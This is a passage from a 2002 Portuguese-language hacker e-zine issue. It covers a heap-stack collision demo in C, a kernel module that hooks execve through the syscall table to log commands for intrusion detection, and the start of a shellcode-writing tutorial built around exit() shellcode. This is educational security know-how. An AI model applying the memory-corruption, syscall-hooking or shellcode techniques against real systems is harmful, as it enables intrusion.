Copy Link
Add to Bookmark
Report

Fatal 3rror - No. 07

eZine's profile picture
Published in 
Fatal 3rror
 · 17 Jul 2022

Fatal 3rror(0007): fingers not found! Use the nose?(y/n) 

________________________ _______________________________
/ __________ _______ / /_____ _____by_Cheat_Struck__/
/ /__ ___ / /___ / / ___/ /___ ___ __ ___
/ ___// o \ / // o \ / / /__ // o \ / o \ / \ / o \
/ / / _ // // _ // /___ _____/ // _ // _ // O // _ /
/__/ / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
)/ )/ )/ )/ )/ )/
' ' ' ' ' '

"Depois do freeza vem o Cell neh?"
Meu primo

Fatal 3rror 07
by Cheat Struck
date : primeira semada/03/2002
email: cheat@struck.8m.com
page : http://struck.securitynetworks.com.br

PRESTE ATENCAO!!! A PAGE MUDOU!!! QUERO UNS AMENDOINS!!!








_xXXXP^'' ``^YXXXx_
_xXXXXP~ 00 - t0picZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

.od[ 00 ]bo. t0picZ / Cheat Struck
.od[ 01 ]bo. introducing / Cheat Struck
.od[ 02 ]bo. TipZ / Cheat Struck
.od[ 03 ]bo. Novo extract.c / Cheat Struck
.od[ 04 ]bo. Colisoes entre heap e stack / Cheat Struck
.od[ 05 ]bo. Remediando o Inevitavel / pcHazard
.od[ 06 ]bo. Tecnicas de escrita/depuracao de shellcodes
/ Cheat Struck
.od[ 07 ]bo. TheWatchFull (TWF) / Cheat Struck
.od[ 08 ]bo. Inetd e Tcpd / Cheat Struck
.od[ 09 ]bo. Checksums / mild7
.od[ 10 ]bo. Como roubar senhas usando uma linha de comando
/ Cheat Struck
.od[ 11 ]bo. Insecure Programming / Cheat Struck
.od[ 12 ]bo. Uma Breve Visao sobre o Futuro / Behael
.od[ 13 ]bo. Truques, trickZ e faucatruaZ / onlooker
.od[ 14 ]bo. SUPER L33T PROGIES / S}{adow
.od[ 15 ]bo. My mailbox / Cheat Struck
.od[ 16 ]bo. EoF / Cheat Struck










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 01 - introducing ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Ake estamos nos dinovo!
Ao contrario do que muita gente pensa, a fatal 3rror nao acabou nem
nunca esteve perto de acabar. Nao sei porque muitas pessoas que vieram
me falar perguntavam pq tinha acabado a f3. Talvez tenha sido por eu
ter ficado 4 meses sem lancar nada, e os nossos sites tenham todos
ficado out (com excessao do struck.8m.com).
Mas nada acabou... e tem mais... Nesta edicao estamos comemorando 2
anos de zine. Para comemorar eu decidi finalmente publicar na page o
tao aguardado Geug. Pra quem nao sabe ainda... Geug eh um jogo que to
fazendo. Ainda ta na versao beta (por isso nao critiquem ainda) mas ja
eh jogavel.
Alem disso, a minha homepage tambem esta sendo transferida para
http://struck.securitynetworks.com.br. Isso pq a freeservers ja ta
enchendo o sako (trancaram acesso a ftp e proibem .tgz), entao como eu
agora entrei no time da securitynetworks (veja o site do grupo em
http://team.securitynetworks.com.br) ganhei um dominio la e to me
transferindo de vez.
Entre outras news, estou com projetos de traduzir a fatal3rror para
ingles e um pacote com os melhores programas ja publicados na f3. Alem
disso estamos nos mobilizando para por a fatal3rror.com.br o mais
rapido possivel no ar (o q vai ser dificil com o sumico do psaux) ou
buscar um novo dominio para ela.
Isso eh tudo.
Boa leitura!










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 02 - TipZ ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~



Autores dessa edicao:
---------------------

Cheat Struck <cheat@struck.8m.com>
pcHazard <cybercrash@ig.com.br>
mild7 <>
Behael <behael@mail.com>
onlooker <onlooker15@yahoo.com.br>
S}{adow <wexhenry@hobbiton.org>


Onde baixar a Fatal 3rror???
----------------------------

* Atual Distribuidor Oficiais:
http://struck.securitynetworks.com.br
http://struck.8m.com/f3

* Outros:
http://www.txt.org
http://www.onlooker.hpg.com.br
http://4x10m4.vila.bol.com.br
ftp://ftp.netconta.com.br/pub/zines/fatal3rror/
(envie um email informando sua page)



Extraindo a f3 e seus programas:
--------------------------------

[root@localhost ~]# tar -zxvf f3-07.tgz
f3/
f3/f3-07.txt
f3/extract.c
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-07.txt
- Extracting
[root@localhost f3]#










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 03 - Novo extract.c ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Tem um ditado q diz: "Se ta bom entao nao meche!".
Foi por esta razao que publico o extract.c da phrack junto a f3
desde as primeiras edicoes. Mas eu tive pensando esses dias e decidi
apenas adicionar nele apenas algumas coisas que senti falta.
Por exemplo... voce quer extrair apenas 1 arquivo especifico da f3
e nao todos da edicao. Entao voce vai na sua shell e digita:

# ./extract f3-07.txt -list
(00) file1.c
(01) file2.txt
(02) file3.pl

E aparece a lista de arquivos que sao possiveis extrair na edicao.
Ae voce pega o numero do arquivo (q aparece ao seu lado na lista) e
faz (digamos que queremos extrair apenas o file3.pl):

# ./extract f3-07.txt 2
- Extracting file3.pl

Voalah! Eh soh isso, mas caso voce seja fan dos f3 programs pode
achar util essa mudanca. A partir de agora esta se torna a versao
oficial do extract.c que vira com as f3.










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 04 - Colisoes entre ~YXXXXx_
_xXXXXXX( heap e stack )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~

Nota: Este texto tambem pode ser encontrado em ingles no site
http://team.securitynetworks.com.br/papers

-----------------------------------------------------------------------


Nao encontrei boa documentacao sobre este bug. O maximo que consegui
foi comentarios sobre sua existencia em alguns livros de C, porem nenhum
texto demonstra como ocorrem colisoes entre estas duas areas de memoria
nem quais as consequencias que podem ser causadas.
Portanto eu tive que com o conhecimento proprio, criar programas com
base em suposicoes para provar como este bug pode ser tao fatal qto um bug
de buffer overflow.

Os mais familiarizados com alocacoes dinamicas sabem que quando uma
chamada a malloc() ou realloc() nao consegue alocar o espaco especificado
na heap, retorna NULL. Isto normalmente ocorre quando muita memoria ja foi
alocada na heap e a proxima chamada teria que ocupar um espaco da stack.
Portanto colisoes da heap podem (e devem) ser controladas.
Ja a stack nao tem como ser controlada. Um programa pode armazenar
dados execivos na stack ateh que este caia por Segmentation fault. Para
testar tal coisa crie um programa que chame uma funcao recursiva
infinitamente. Algo como:

void repeat() { repeat(); }
int main() { repeat(); }

A cada chamada a funcao repeat() sera armazenado mais dados na stack
ateh que ela se acabe e derrube o programa.

Como voce ja deve saber, a heap e a stack sao armazenadas de modos
diferentes. Enquanto na stack os dados sao empilhados sobre a memoria
alta, na heap eles sao enfileirados a partir da memoria baixa.
Graficamente pode ser representado como:

HEAP STACK
<memoria baixa> <memoria alta>
.----------------------------------------------------.
| |
|------> <------|
| |
`----------------------------------------------------'

O code principal do programa fica em uma area da memoria baixa chamada
de BBS, assim como dados de texto que sao marcados como somente para a
leitura. Em qualquer ocasiao em que esses dados sejam corrompidos
(sobrescritos) o programa caira por segmentation violation.
Mas isso nao eh o importante aqui.
O que conseguimos ver de interessante neste grafico eh que a HEAP e a
STACK vao uma de encontro com a outra ateh que se choquem.

O que o programa que eu criei faz eh encher a HEAP ateh que nao seja
mais possivel alocar memoria dinamicamente e entao escreve nos ultimos
bytes alocados na heap uma serie de 'A's.

HEAP STACK
<memoria baixa> <memoria alta>
.----------------------------------------------------.
| |
|---------------------->AAAAAAAAAA <------|
| |
`----------------------------------------------------'

Em seguida chama uma funcao recursiva ateh que a STACK choque-se e
passe pela HEAP. Quando isso ocorrer, os dados na STACK serao gravados com
'B's. Neste momento, a HEAP e a STACK estarao ocupando a mesma area de
memoria, portanto os dados salvos na STACK sobrescreverao os que ja
foram salvos na HEAP.

HEAP STACK
<memoria baixa> <memoria alta>
.----------------------------------------------------.
| |
|---------------------->BBBBBBBBBB<------------------|
| |
`----------------------------------------------------'

Com isso pode-se trabalhar sobre a mesma regiao de memoria sobre dois
angulos diferentes, causando assim sobrescrita da dados, sobrescrita de
enderecos de retornos, etc...
Porem este bug somente ocorre em programas que tem que abusar de
alocacao dinamica e recusividade.
Ae vai o programa que ilustra a sobrescrita de dados:


<++> heapstack/hs.c
/* Programa teste que mostra como dados podem ser sobreescritos por
colisoes de heap com stack.

Nota: caso ocorra Segmentation Fault, a stack foi toda utilizada e nao
ocorreu nenhuma colisao entre ela e a heap.

*/


#define PASSO 1000000

#include <stdio.h>
#include <malloc.h>

void func(char *p, int i);

main() {
char *p, *paux;
int i;

printf("Comecando a encher a heap...\n");
p = (char *)malloc(1);
for(i=PASSO; (p=realloc(p,i)) != NULL; i+=PASSO)
printf("(%015d bytes) inicio: %p \r",i,p);
printf("\n fim: %p \n",p+(i-PASSO));

paux = p+(i-PASSO);
*paux='\0';
paux-=40;
memset(paux,'A',39);
printf("Ultimos dados na heap(%p): %s\n",paux,&paux[0]);

printf("\nComecando a encher a stack...\n");
sleep(1);
func(p+(i-PASSO),0);

printf("\nStack colidiu com a Heap!!!\n");
*(paux+40)='\0';
printf("Ultimos dados na heap(%p): %s\n",paux,&paux[0]);

free(p);
}

void func(char *p, int i) {
char s[PASSO];

//Nota: sao empilhados 32 bytes extras junto ao espaco para a variavel.
i=i+PASSO+32;
printf("(%015d bytes) inicio: %p\r",i,s+i);
if (s < p) {
printf("\n fim: %p \n",s-PASSO);
memset(s,'B',(PASSO-1));
s[PASSO-1] = '\0';
printf("Ultimos dados na stack(%p): %s\n",s,&s[PASSO-40]);
return;
}
func(p,i);
}
<-->










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 05 - Remediando o Inevitavel ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~


Ao som de Love in the Afternoon :)


E bota inevitavel nisso ! NASA, DoD, Casa branca... e muitos outros
nomoes desse nosso planeta mesquino que sao "sinonimo de seguranca e
sigilo absoluto"
sao invadidos todos os dias... por que seria diferente
com qualquer provedor de acesso dial-up de Joaos, Marias e etc ????

Eh isso ai amigo, todo mundo jah foi invadido algum dia... principalmente
gente que bota regra no hosts.denny pra barrar telnet e ftp ( O_o ) de fora
e acha que jah pode deixar de levar log pra casa pra ler na cabeceira da cama
antes de durmir... "puro devaneio de wannabe :)"

Bem, mas com algumas medidas eh possivel detectar a presenca de "usuarios
maliciosos"
e impedir que seu sistema se torne playground de meninos maus :)

Como ? primeiro, pra ser um bom vigia, saiba como robar :) Imagine qualquer
situacao possivel aonde um invasor consiga acesso de root no seu sistema...
o que ele precisou fazer pra chegar ateh lah? serah que primeiro ele conseguiu
shell como usuario normal e depois com algum exploit ou qq merda pegou root
ou entrou como root direto ? o que vc admin faria assim que pegasse uma shell
seja de user normal ou root em seu sistema ?

Com certeza, em qualquer uma das hipotestes acima, pode ter certeza de uma
coisa: ele executou comandos para isso !

Bem, "isso eh mais que logico !" vc diria... mais ai eh que tah o doce dessa
tecnica de deteccao de intrusos... qualquer um que consiga uma shell, por
exemplo, num provedor aonde ninguem tem shell, daria uns "ls", ia criar
alguns diretorios pra jogar as trequera, sniffer e tal...

entao ai eh que estah o segredo ! o problema eh que logando cada comando
executado por usuarios, em poucos dias vc teria um log monstruoso, mas e dai ?
compre um HD novo e de quebra ajude o capitalismo a continuar funcionando :)

toda vez que vc executado num linux (e acredito em outros *nix tb) como
mkdir, ls etc... vc estarah executando programas como /bin/ls e /bin/mkdir
(no dos quem faz isso eh o command.com...) e eh assim com rm, rmdir e talz...

pra executar comandos, a syscall execve eh chamada e como parametros vao
o nome do executavel, a linha de comando e as variaveis de ambiente...
o que faremos eh uma simples substituicao da syscall execve para outra
escrita por nos que apenas logarah o comando executado e chamarah
a syscall antiga... e com as variaveis de ambiente passadas como parametro
podemos definir em qual diretorio o comando foi executado e assim por
diante...

o codigo fonte do logador de comandos segue no final desse artigo.

os logs ficarao no syslog da seguinte forma:

Feb 6 20:40:24 darkstar kernel: spike 0:0:311:bash cwd:/root execve:/usr/bin/id id

o campo cwd eh o diretorio aonde o comando foi executado e execve eh o comando
e os argumentos executados.

"0:0:887:bash" segue o padrao:

<UID>:<GID>:<PID>:<processo chamador>

<UID> - UID em que o comando foi executado
<GID> - GID em que o comando foi executado
<PID> - PID do processo que o chamou
<processo chamador> - Nome do processo que executou o comando

assim, com essas informacoes, podemos saber nao soh qual processo executou
o comando como tambem quem era o processo pai dele, podendo assim identificar
a origem... por exemplo, caso seja usando um exploit pra abrir uma shell
qualquer, serah logado um /bin/bash executado pelo <processo chamador>
= daemon bugado :)

note que a funcao system() do C e de outras linguagens usam sh -c para
executar o parametro passado a ela, entao, pode ser que alguns comandos
executados aparecam como o "bash" sendo o <processo chamador> mesmo que
tenham sido chamados por programas, e naum por uma shell... cabe ao
admin usar seu "celebro" pra entender o que estah sendo logado :)
somente chamadas diretas a execve() sao logadas com o <processo chamador>
tendo o nome do processo (como acontece no caso de exploits por buffer
overflow, aonde execve() eh chamada na shellcode) ...

TODO:
- pegar o parent pid e o nome do parent pid e loga-los tb :)



ativando:
20:39:33:(root):/root/projetos/spike# insmod spike.o
20:39:35:(root):/root/projetos/spike#

nos logs:
Feb 6 20:39:35 darkstar kernel: spike loaded.

vamos executar alguns comandos para testa-lo :)
19:11:31:(root):/root# id
uid=0(root) gid=0(root)
20:40:24:(root):/root# whoami
root
20:40:30:(root):/root#

ae nos logs...
Feb 6 20:40:24 darkstar kernel: spike 0:0:311:bash cwd:/root execve:/usr/bin/id id
Feb 6 20:40:30 darkstar kernel: spike 0:0:312:bash cwd:/root execve:/usr/bin/whoami whoami

bem, dai acho que jah deu pra sacar neh... :)
entaum, se vc ver um wget baixando exploit.c de uma makina as 3 da manha eh
bom ficar ligado :)

para melhorar ainda mais a seguranca, instale em sua rede o script de centralizacao

de logs, que tb se encontra nesse issue da fatal3rror ! eu sei, estou propagandas :) 




<++> spike/sniff.c
/*

/\
/\\\\\
/\\\\\\\\\
/\\\\\\\\\\\\\
/\\\\\\\\\\\\\\\\\
/\\\\\\\\\\\\\\\\\\\\\
/\\\\\\\\\\\\\\\\\\\\\\\\\
/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
/\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
///\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
/////\\\\\ \\\\\\\\\\\\\\\\\\\\\\\\\\\/
///////\\\\\\\ \\\\\\\\\\\\\\\\\\\\\\\/
/////////\\\\\\\\\ \\\\\\\\\\\\\\\\\\\/ |
///////////\\\\\\\\\\\ \\\\\\\\\\\\\\\/ |
/////////////\\\\\\\\\\\\\ \\\\\\\\\\\/ |
///////////+-------+\\\\\\\\\\ \\\\\\\/ |
/////////////| SPIKE |\\\\\\\\\\\\ \\\/ |
///////////////+-------+\\\\\\\\\\\\\\/ |
| | |
| | ,', /
| ________ | oOo /
| / \ | /
| | |\ __ /| | | / O
| | '. .' | | / //O
| | | | / //
| | ,,,, | | / O//
| | '''' | | / O
| |____________| |/
------------+------+-------------------+---------------------------------------

Spike v0.1 |
The Loadable Guard Dog |
-----------------------------+

AUTHOR
- pcHazard <cybercrash@ig.com.br>

fatal3rror security group
http://fatal3rror.linuxgo.com.br

para compilar:
# cc -c -I/usr/src/linux/include -O2 -Wall spike.c -o spike.o
# insmod spike.o

*/


#define MODULE
#define __KERNEL__
#define __KERNEL_SYSCALLS__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>

#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>

#include <asm/uaccess.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/socket.h>
#include <stdio.h>


//Hmmm this is knew ;)
#define DBGPRN1(X) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) printk(KERN_DEBUG X, Y, Z, W, V);

#include <sys/syscall.h>

extern void* sys_call_table[];

int (*old_execve)(struct pt_regs);

int new_execve(struct pt_regs regs)
{
int error;
char *filename;
char **args, **envs;
int i;

filename = getname((char *)regs.ebx);
args = (char **)regs.ecx;
envs = (char **)regs.edx;

printk(KERN_DEBUG "spike %d:%d:%d:%s",
current->uid, current->gid, current->pid, current->comm);

for (i=0;1;i++)
{
if (envs[i] == NULL)
break;
if (strncmp(envs[i], "PWD=", 4) == 0)
{
printk(" cwd:%s", strstr(envs[i],"=")+1 );
break;
}
}

printk(" execve:%s", filename);

for (i=0;1;i++)
{
if (args[i] == NULL)
break;
printk(" %s", args[i]);
}

printk("\n");
error = PTR_ERR(filename);
if(IS_ERR(filename))
goto out;

error = do_execve(filename, (char **)regs.ecx,
(char **)regs.edx, &regs);

if(error == 0)
current->flags &= ~PT_DTRACE;
putname(filename);
out:
unlock_kernel();
return error;
}


int init_module(void)
{
EXPORT_NO_SYMBOLS;

DBGPRN1("spike loaded.\n");
lock_kernel();
old_execve = sys_call_table[SYS_execve];
sys_call_table[SYS_execve] = new_execve;
unlock_kernel();
return 0;
}

void cleanup_module(void)
{
lock_kernel();
sys_call_table[SYS_execve] = old_execve;
unlock_kernel();
DBGPRN1("spike unloaded.\n");
}

<-->










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 06 - Tecnicas de escrita/ ~YXXXXx_
_xXXXXXX( depuracao de shellcodes )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Muito ja foi falado sobre shellcodes, entao porque escrever uma outra
materia sobre este assunto tao discutido. A resposta eh muito obvia. Por
que a maioria de textos que tratam sobre shellcodes ou sao antigos ou
foram escritos somente usando como fonte o eterno texto do Aleph1 sobre
buffers overflows no qual ele da uma atencao secundaria ao assunto.
Logo chegamos a conclusao de que muita coisa foi repetida e pouca coisa
nova foi publicada, fazendo com que verdadeiros interessados analisassem
e "dublassem" shellcodes ja prontos para obterem mais informacoes.
Este texto nao eh baseado em nenhum outro e foi escrito usando apenas
conhecimento pessoal. Nao vou detalhar demais o que na minha opiniao for
muito basico.
Nota: O texto esta voltado a shellcodes em linux-x86 usando asm AT&T.

-------------------------------------------------------------------------
TOPICOS:
########

.SYSTEM CALLs
.EXEMPLO DE SYSCALL - exit()
.SHELLCODE do exit()
.TRADUZINDO o SHELLCODE - exit()
.CRIANDO FUNCOES EM SHELLCODE
.SHELLCODE do write()
.ADVANCED SHELLCODES



------------------------------------------------------------------------
SYSTEM CALLs
############

Vou comecar pelo basico e ir evoluindo com o passar do texto...
Para escrever shellcodes voce tem que simplesmente saber programar em
Assembly. Sabendo construir um codigo eficiente em asm, transforma-lo em
shellcode eh muito simples.
Vou dar uma breve introducao a linguagem assembly e como interfacea-la
em programas em C.

Assembly eh a linguagem de mais baixo nivel que provavelmente voce ira
programar. Isso por que programando em assembly voce estara' quase que
programando na linguagem da maquina. Nela voce pode chamar funcoes da
bios, do video, da impressora, etc, atraves de interrupcoes. Tambem eh
possivel chamar funcoes do sistema operacional o que conhecemos por
"chamadas de sistema" ou "system calls" (syscall).
No msdos a interrupcao para syscalls eh $0x21 (se nao me engano), no
linux e em alguns outros sistemas usamos $0x80.
Para chamar uma syscall basta conhecer seu numero e como seus
argumentos devem ser passados para os registradores ou para a stack (em
alguns casos).
Os numeros dos syscalls sao encontrados em /usr/include/asm/unistd.h.





------------------------------------------------------------------------
EXEMPLO DE SYSCALL - exit()
###########################

Um exemplo simples eh a syscall exit().
Sua sintaxe eh: void exit(int status);
O numero da syscall deve ser armazenado no registrador AX. O numero de
exit() eh 1. O primeiro argumento (status) normalmente eh passado para o
registrador BX. Se houver um terceiro e quarto argumento eles seriam
colocados em CX e DX respectivamente.
No caso de inteiros, o valor eh colocado (sempre em hexadecimal) nos
registradores. Caso sejam strings eh colocado seu endereco na memoria.
Portanto uma syscall a exit(0) pode ser feita em simples 3 linhas.

movl $0x01, %eax // Move 1 para AX (__exit)
movl $0x00, %ebx // Move 0 para BX (int status)
int $0x80 // chama a funcao do sistema

Voalah! Eh executado um exit(0).
Como exit() nao retorna nada, os registradores permanecerao identicos
depois da syscall executada. Qdo a funcao retorna algo, seu retorno eh
jogado no registrador AX.
Quer testar?? entao vamos colocar o code acima no primeiro programa
teste desta materia...

<++> shellcode/asm-exit1.c

#include <stdio.h>
int main() {

__asm__(" movl $0x01, %eax
movl $0x00, %ebx
int $0x80
"
);

printf("Esta linha nao sera impressa!\n");

}
<-->

Compile e execute. Voce notara que o programa caira antes de executar a
ultima linha. Isso por que ele executou uma syscall a exit(0) o que
obviamente serve para sair de um programa em status 0.





------------------------------------------------------------------------
SHELLCODE do exit()
###################

Para construirmos o shellcode do code acima precisamos transformar as
instrucoes feitas em uma string. Para isso usamos o gdb. Acostume-se com o
ambiente do gdb pois iremos usa-lo muito no decorrer desta materia.


[root@struck sc]# gdb asm-exit1
[BLABLABLA...]
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 <main>: push %ebp
0x80483e5 <main+1>: mov %esp,%ebp
0x80483e7 <main+3>: sub $0x8,%esp
0x80483ea <main+6>: mov $0x1,%eax
0x80483ef <main+11>: mov $0x0,%ebx
0x80483f4 <main+16>: int $0x80
0x80483f6 <main+18>: add $0xfffffff4,%esp
0x80483f9 <main+21>: push $0x8048480
0x80483fe <main+26>: call 0x8048300 <printf>
0x8048403 <main+31>: add $0x10,%esp
0x8048406 <main+34>: leave
0x8048407 <main+35>: ret
0x8048408 <main+36>: nop
End of assembler dump.
(gdb)


O commando disassemble (disass) no gdb eh utilisado para (obviamente)
disassemblar funcoes do programa (transformar em um unico codigo asm
in-line). No caso disassemblamos o main().
Note as linhas

0x80483ea <main+6>: mov $0x1,%eax
0x80483ef <main+11>: mov $0x0,%ebx
0x80483f4 <main+16>: int $0x80
0x80483f6 <main+18>: [...]

Aqui esta nosso code. Note que ele ocupa 12 bytes (18-6). Vamos ver
essas linhas em forma hexadecimal byte a byte.

(gdb) x/12bx main+6
0x80483ea <main+6>: 0xb8 0x01 0x00 0x00 0x00 0xbb
0x00 0x00
0x80483f2 <main+14>: 0x00 0x00 0xcd 0x80

Agora transformando-as em uma string de 12 bytes:

char sc[] =
"\xb8\x01\x00\x00\x00" //movl $0x01, %eax
"\xbb\x00\x00\x00\x00" //movl $0x00, %ebx
"\xcd\x80"; //int $0x80

Porem note que esta string possui muitos caracteres \x00 o que marca o
fim de uma string. Entao ela nao funcionara caso for passado a outro
programa num exploit.
O que podemos fazer eh substituir algumas instrucoes do nosso code:

movl $0x01, %eax = xorl %eax, %eax
inc %eax

movl $0x00, %ebx = xorl %ebx, %ebx

As linhas acima sao equivalentes, portanto o resultado final nao sera
afetado, porem a forma de sua execucao sera diferente.
Vamos testar o novo code:

<++> shellcode/asm-exit2.c
int main() {
__asm__(" xorl %eax, %eax
inc %eax
xorl %ebx, %ebx
int $0x80
"
);
}
<-->

[root@struck sc]# gcc asm-exit2.c -oasm-exit2
[root@struck sc]# gdb asm-exit2
[...]
(gdb) disass main
Dump of assembler code for function main:
0x80483b4 <main>: push %ebp
0x80483b5 <main+1>: mov %esp,%ebp
0x80483b7 <main+3>: xor %eax,%eax
0x80483b9 <main+5>: inc %eax
0x80483ba <main+6>: xor %ebx,%ebx
0x80483bc <main+8>: int $0x80
0x80483be <main+10>: leave
0x80483bf <main+11>: ret
End of assembler dump.
(gdb)

Note que agora nosso code possui apenas 7 bytes (10-3).

(gdb) x/7bx main+3
0x80483b7 <main+3>: 0x31 0xc0 0x40 0x31 0xdb 0xcd 0x80
(gdb)

E ae esta nosso shellcode. Note que nao tem nenhum 0x00 que causaria
falha ao passar a string de um programa a outro.
Vamos testar o shellcode:

<++> shellcode/sc-exit.c
char sc[] =
"\x31\xc0" //xor %eax, %eax
"\x40" //inc %eax
"\x31\xdb" //xor %ebx, %ebx
"\xcd\x80"; //int $0x80

int main() {
void (*exec)() = (void *) sc;
exec();
printf("Esta linha nao executara!");
}
<-->

Compile e rode. Note que a ultima linha nao executou, pois novamente o
programa caiu ao executar o exit(0) que esta em forma de shellcode.




------------------------------------------------------------------------
TRADUZINDO o SHELLCODE - exit()
###############################

Essa tecnica podera ser usado em qualquer shellcode que voce queira
descobrir as instrucoes em asm que ele esta usando.
Como foi feito no programa anteiror (sc-exit.c) criamos um ponteiro
para funcao e o apontamos para o shellcode, entao o executamos. Usando
novamente o gdb para disassemblar o programa vemos:

[root@struck sc]# gdb sc-exit
[...]
(gdb) disass main
Dump of assembler code for function main:
0x80483e4 <main>: push %ebp
0x80483e5 <main+1>: mov %esp,%ebp
0x80483e7 <main+3>: sub $0x14,%esp
0x80483ea <main+6>: push %ebx
0x80483eb <main+7>: movl $0x8049488,0xfffffffc(%ebp)
0x80483f2 <main+14>: mov 0xfffffffc(%ebp),%ebx
0x80483f5 <main+17>: call *%ebx
0x80483f7 <main+19>: add $0xfffffff4,%esp
0x80483fa <main+22>: push $0x8048460
0x80483ff <main+27>: call 0x8048300 <printf>
0x8048404 <main+32>: add $0x10,%esp
0x8048407 <main+35>: mov 0xffffffe8(%ebp),%ebx
0x804840a <main+38>: leave
0x804840b <main+39>: ret
End of assembler dump.
(gdb)

Note a linha:
0x80483f5 <main+17>: call *%ebx

Esta linha faz a chamada ao ponteiro de funcao que aponta para o
shellcode. Vamos fazer uma pequena depuracao no programa para saber para
onde %ebx estara apontando na hora da chamada...

(gdb) break *main+17
Breakpoint 1 at 0x80483f5
(gdb) run
Starting program: /root/sc/sc-exit
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, 0x80483f5 in main ()
(gdb) info reg ebx
ebx 0x8049488 134517896
(gdb)


O que fizemos aki foi colocar um breakpoint na linha que faz a chamada
ao ponteiro de funcao. Rodamos o programa e ele parou no local indicado.
Entao lemos o valor de %ebx para saber para onde ele esta apontando. O
endereco obtido foi 0x8049488.
Agora eh simples...

(gdb) disass 0x8049488
Dump of assembler code for function sc:
0x8049488 <sc>: xor %eax,%eax
0x804948a <sc+2>: inc %eax
0x804948b <sc+3>: xor %ebx,%ebx
0x804948d <sc+5>: int $0x80
End of assembler dump.
(gdb)

Ae esta! Exatamente como o fizemos.
Esta rotina embora seja simples e facil de entender, ainda nao foi
mencionada em nenhum outro texto de shellcode (pelo menos nos que eu ja
li) e como pode-se notar, eh realmente util para traduzir shellcodes.
Iremos usa-la novamente no decorrer desta materia.





------------------------------------------------------------------------
CRIANDO FUNCOES EM SHELLCODE
############################

Esta secao eh apenas para a pratica em assembly. Veremos como eh
possivel contruir funcoes reais em shellcode e nao somente incluir
instrucoes para serem executadas.
Entra mais como curiosidade do que utilidade, pois aqui veremos como
atualizar o base pointer, criar return address, buscar variaveis passadas
como argumento, etc em assembly e depois transformar o code em shellcode.

Nosso objetivo aki eh criar uma funcao que simplesmente escreva uma
mensagem qquer na tela. Simples...
Para isso usaremos um syscall a funcao write().
Sua sintaxe eh: ssize_t write(int fd, const void *buf, size_t count);
Para executa-la em assembly precisamos atualizar os registradores como:

